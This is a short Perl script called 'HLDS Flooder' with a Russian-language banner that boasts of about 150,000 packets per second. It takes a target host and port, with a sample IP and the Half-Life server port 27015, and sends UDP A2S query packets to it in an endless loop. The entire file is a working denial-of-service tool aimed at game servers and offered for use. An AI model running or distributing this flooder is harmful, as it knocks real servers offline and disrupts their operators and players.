use IO::Socket;

print "\n".
" HLDS Flooder\n".
" Puma (c)2010\n".
" Скорость флуда = ~150000 PPS !!!!!.\n".
" Будьте осторожны тк данный флудер может сжечь ваш кабель xD\n";

if (!$ARGV[0]) {
print " use: hlds_flooder.pl <host> <port>\n".
" exemple: hlds_flooder.pl 95.73.23.56 27015\n";
exit(0);
}

$host = shift || '95.73.23.56';
$port = shift || '27015';

my $sock1 = new IO::Socket::INET(
PeerAddr=>$host,
PeerPort=>$port,
Proto=>'udp') || die "server is inaccessible!";

$q1 = "\xFF\xFF\xFF\xFF\x57";	#a2s_getchallenge
$q2 = "\xFF\xFF\xFF\xFF\x560203";	#a2s_rules
$q3 = "\xFF\xFF\xFF\xFF\x550205";	#a2s_players
$q4 = "\xFF\xFF\xFF\xFF\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00"; #a2s_info

START:

syswrite $sock1, "$q1$q3";

goto START;

exit();